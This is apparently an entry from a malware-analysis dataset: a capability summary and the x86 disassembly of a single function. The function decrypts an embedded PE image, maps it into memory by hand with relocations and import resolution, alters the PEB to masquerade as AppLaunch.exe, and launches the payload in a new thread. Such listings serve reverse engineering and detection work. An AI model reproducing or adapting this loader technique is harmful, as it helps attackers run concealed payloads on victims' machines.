Function at 0x401060
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x98
mov dword [esp + 0x20], 0x43800
mov dword [esp + 0x18], str.tg1
xor ecx, ecx
xor edi, edi
mov ecx, dword [esp + 0x20]
mov edi, dword [esp + 0x18]
not byte [edi]
add byte [edi], 0x38
mov eax, 0xdf
sub byte [edi], 0x76
imul byte [edi]
inc edi
loop 0x401086
mov edi, dword [0x41603c]
mov eax, 1
cmp dword [edi + str.tg1], 0x4550
jne 0x401531
mov eax, dword [edi + 0x4160a0]
mov ebp, dword [edi + 0x4160a4]
mov dword [esp + 8], eax
mov eax, dword [edi + 0x416050]
test ebp, ebp
je 0x4010e1
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
jmp 0x401116
push 4
push 0x3000
push eax
push dword [edi + 0x416034]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
cmp dword [edi + 0x416034], eax
je 0x401116
push 0x40
push 0x3000
push dword [edi + 0x416050]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x400
push str.tg1
push esi
call fcn.004020a0
add esp, 0xc
movzx eax, word [edi + 0x416014]
xor ebx, ebx
cmp word [edi + 0x416006], 0
mov dword [esp], ebp
lea eax, [edi + eax + 0x416018]
mov dword [esp + 0x1c], eax
je 0x401181
mov ebp, esi
lea esi, [eax + 0x14]
nop
mov eax, dword [esi - 8]
mov ecx, dword [esi]
mov edx, str.tg1
add eax, ebp
add ecx, edx
push dword [esi - 4]
push ecx
push eax
call fcn.004020a0
add esp, 0xc
movzx eax, word [edi + 0x416006]
inc ebx
add esi, 0x28
cmp ebx, eax
jb 0x401150
mov esi, ebp
mov ebp, dword [esp]
mov ebx, eax
mov eax, esi
sub eax, dword [edi + 0x416034]
mov edx, dword [esp + 8]
mov dword [esp + 0xc], edi
mov dword [esp + 4], esi
je 0x4012fc
test ebp, ebp
je 0x4012fc
add edx, esi
xor edi, edi
jmp 0x4011c1
mov ebp, dword [esp]
mov edi, dword [esp + 0x10]
add edi, ecx
cmp edi, ebp
jae 0x4012fc
mov ecx, dword [edx + 4]
mov dword [esp + 0x10], edi
mov ebp, edx
add edx, 8
lea edi, [ecx - 8]
cmp edi, 2
jb 0x4011b0
mov ecx, dword [ebp]
shr edi, 1
mov dword [esp + 8], ebp
lea ebp, [edi - 1]
add ecx, esi
cmp ebp, 7
mov ebp, dword [esp]
jb 0x4012c3
mov esi, edi
and esi, 0xfffffff8
jmp 0x40120c
add edx, 0x10
add esi, 0xfffffff8
je 0x4012c0
movzx ebp, word [edx]
test ebp, 0x3000
je 0x401220
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 2]
test ebp, 0x3000
je 0x401235
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 4]
test ebp, 0x3000
je 0x40124a
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 6]
test ebp, 0x3000
je 0x40125f
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 8]
test ebp, 0x3000
je 0x401274
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 0xa]
test ebp, 0x3000
je 0x401289
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 0xc]
test ebp, 0x3000
je 0x40129e
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 0xe]
test ebp, 0x3000
je 0x401200
and ebp, 0xfff
add dword [ecx + ebp], eax
jmp 0x401200
mov ebp, dword [esp]
and edi, 7
jne 0x4012e6
mov ecx, dword [esp + 8]
mov esi, dword [esp + 4]
mov ecx, dword [ecx + 4]
jmp 0x4011b3
add edx, 2
dec edi
je 0x4012c8
movzx esi, word [edx]
test esi, 0x3000
je 0x4012e0
and esi, 0xfff
add dword [ecx + esi], eax
jmp 0x4012e0
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x416080]
cmp dword [ecx + esi + 0x10], 0
je 0x4013d1
lea eax, [ecx + esi + 0x10]
add ecx, esi
xor edx, edx
mov dword [esp + 8], ecx
mov dword [esp + 0x10], eax
jmp 0x40134e
mov edx, dword [esp]
mov ecx, dword [esp + 8]
inc edx
lea eax, [edx + edx*4]
lea esi, [ecx + eax*4 + 0x10]
cmp dword [ecx + eax*4 + 0x10], 0
mov dword [esp + 0x10], esi
mov esi, dword [esp + 4]
je 0x4013c6
lea eax, [edx + edx*4]
mov dword [esp], edx
mov eax, dword [ecx + eax*4 + 0xc]
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x401330
mov edi, eax
mov eax, dword [esp + 0x10]
mov ebx, dword [eax]
mov eax, dword [esp + 4]
mov ebp, dword [ebx + eax]
test ebp, ebp
je 0x401330
mov esi, dword [esp + 4]
add ebx, esi
add ebx, 4
jmp 0x4013a5
mov ecx, dword [esp + 0x10]
mov ecx, dword [ecx]
mov dword [esi + ecx], eax
add esi, 4
mov ebp, dword [ebx]
add ebx, 4
test ebp, ebp
je 0x401330
movzx eax, bp
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x401390
mov eax, dword [esp + 4]
lea eax, [ebp + eax + 2]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x401390
mov eax, dword [esp + 0xc]
movzx ebx, word [eax + 0x416006]
mov edx, dword [esp + 0xc]
mov ebp, dword [esp + 0x1c]
test bx, bx
mov ebx, esi
je 0x401463
add ebp, 8
mov edi, 0x40
xor esi, esi
nop
mov ecx, dword [ebp + 0x1c]
mov eax, 0x40
mov edx, 4
mov ebx, 2
test ecx, 0x20000000
cmove eax, edx
mov edx, ecx
test ecx, 0x40000000
not edx
cmove ebx, edi
test edx, 0x60000000
mov edx, 0x20
cmove ebx, edx
cmp ecx, 0xc0000000
mov ecx, 4
lea edx, [esp + 0x18]
cmovb eax, ecx
mov ecx, dword [ebp + 4]
cmovb eax, ebx
mov ebx, dword [esp + 4]
add ecx, ebx
push edx
push eax
push dword [ebp]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0xc]
movzx eax, word [edx + 0x416006]
inc esi
add ebp, 0x28
cmp esi, eax
jb 0x4013f0
mov eax, dword fs:[0x30]
vmovups ymm0, ymmword [0x40f1d8]
vmovups ymm1, ymmword [0x40f1c0]
vmovups ymm2, ymmword [0x40f1a0]
mov esi, edx
mov ebp, ebx
mov ecx, dword [eax + 0xc]
mov edi, dword [ecx + 0x14]
mov dword [eax + 8], ebx
mov dword [edi + 0x10], ebx
vmovups ymmword [esp + 0x78], ymm0
vmovups ymmword [esp + 0x60], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [esp + 0x40], ymm2
cmp dword [edx + 0x4160e8], 0
vmovups ymmword [esp + 0x20], ymm1
je 0x40150a
vmovsd xmm0, qword [edi + 0x1c]
lea eax, [esp + 0x20]
mov dword [edi + 0x20], eax
vmovsd qword [esp + 0x10], xmm0
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [edi + 0x1c], ax
add ebp, dword [esi + 0x416028]
push 0
push 0
push 0
push ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
vmovsd xmm0, qword [esp + 0x10]
vmovsd qword [edi + 0x1c], xmm0
jmp 0x401526
add ebp, dword [esi + 0x416028]
push 0
push 0
push 0
push ebp
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add esp, 0x98
pop esi
pop edi
pop ebx
pop ebp
ret